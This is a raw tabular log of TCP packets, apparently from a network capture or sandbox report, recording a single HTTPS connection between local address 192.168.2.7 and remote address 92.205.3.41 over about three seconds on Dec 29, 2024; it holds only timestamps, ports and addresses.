Dec 29, 2024 08:56:08.955415964 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:08.957736015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:08.957813025 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:08.960304022 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:08.960383892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:08.962654114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:08.962726116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.124401093 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.124483109 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.126496077 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.126575947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.129003048 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.129065990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.132090092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.132160902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.134598017 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.134660006 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.137006044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.137078047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.139476061 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.139560938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.142586946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.142669916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.144958019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.145034075 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.147497892 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.147562027 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.150257111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.150326967 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.152668953 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.152740002 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.155734062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.155813932 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.158196926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.158267021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.160661936 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.160723925 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.163089991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.163155079 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.324645996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.324796915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.327017069 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.327106953 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.329528093 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.329602957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.331918955 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.331989050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.335022926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.335105896 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.337558985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.337625980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.339940071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.340006113 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.343166113 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.343236923 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.345477104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.345544100 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.348014116 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.348082066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.350661039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.350733042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.353200912 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.353271008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.356290102 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.356364012 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.358827114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.358892918 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.361210108 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.361279011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.363640070 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.363708019 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.524847984 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.524949074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.527398109 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.527475119 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.529794931 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.529870987 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.532435894 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.532519102 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.535418987 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.535490990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.537903070 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.537970066 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.540349007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.540417910 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.542988062 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.543059111 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.545855999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.545924902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.548268080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.548341990 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.551095963 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.551157951 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.553529024 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.553617001 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.556011915 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.556083918 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.559170008 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.559247017 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.561484098 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.561549902 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.564023972 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.564095020 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.725792885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.725929022 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.727725983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.727798939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.730210066 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.730285883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.732647896 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.732726097 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.735739946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.735817909 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.738156080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.738226891 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.740797997 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.740869045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.743082047 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.743150949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.746191978 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.746265888 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.748683929 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.748750925 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.751399040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.751471996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.753911972 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.753981113 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.756392956 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.756494045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.759452105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.759552956 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.761821032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.761914968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.764288902 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.764364958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.767054081 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.767134905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.928281069 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.928373098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.930675983 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.930752039 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.933105946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.933185101 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.936335087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.936427116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.938611031 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.938684940 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.941101074 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.941163063 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.943591118 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.943665028 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.946599960 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.946672916 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.948998928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.949062109 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.951525927 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.951591969 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.954344034 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.954412937 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.956768036 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.956834078 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.959875107 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.959953070 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.962244987 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.962316036 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.964806080 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.964884996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:09.967174053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:09.967235088 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.128504992 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.128705978 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.131030083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.131115913 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.133601904 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.133681059 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.136064053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.136133909 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.139065981 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.139127970 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.141462088 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.141529083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.144012928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.144088984 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.146400928 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.146487951 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.149599075 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.149686098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.151983976 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.152069092 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.154707909 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.154783964 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.157377005 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.157458067 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.159671068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.159753084 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.162760973 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.162834883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.165112019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.165184975 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.167675018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.167748928 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.329510927 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.329693079 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.331463099 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.331542015 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.334168911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.334244967 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.336397886 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.336463928 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.339513063 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.339616060 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.341924906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.341994047 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.344415903 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.344486952 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.347470999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.347548008 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.350040913 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.350141048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.352322102 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.352397919 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.355146885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.355215073 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.357682943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.357750893 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.360219002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.360291958 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.363110065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.363184929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.365685940 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.365758896 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.368006945 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.368071079 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.371150017 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.371212959 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.531805038 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.531943083 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.534231901 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.534323931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.536680937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.536751032 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.539764881 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.539834976 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.542161942 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.542237043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.544715881 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.544784069 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.547147989 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.547214985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.550275087 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.550347090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.552716970 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.552798986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.555151939 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.555221081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.557940960 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.558007956 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.560412884 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.560481071 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.563545942 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.563618898 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.566000938 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.566062927 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.568365097 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.568438053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.571485043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.571553946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.732276917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.732474089 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.734623909 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.734808922 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.737193108 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.737262011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.739563942 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.739650011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.742640018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.742716074 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.745043039 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.745116949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.747586966 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.747670889 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.750679016 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.750767946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.753068924 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.753140926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.755605936 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.755690098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.758311033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.758392096 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.760823965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.760896921 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.763236046 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.763322115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.766328096 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.766412973 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.768728971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.768810034 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.771306038 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.771385908 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.933088064 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.933222055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.935288906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.935374022 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.937644958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.937745094 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.940321922 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.940399885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.942642927 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.942728043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.945657969 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.945735931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.948185921 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.948260069 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.950593948 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.950668097 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.953680992 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.953747988 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.956119061 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.956195116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.958949089 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.959031105 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.961325884 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.961405993 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.963835955 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.963910103 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.966243982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.966312885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.969309092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.969378948 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.971889019 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.971966028 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:10.974256992 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:10.974333048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:11.135461092 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:11.135548115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:11.138233900 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:11.138300896 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:11.140301943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:11.140367985 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:11.143456936 CET	443	49707	92.205.3.41	192.168.2.7
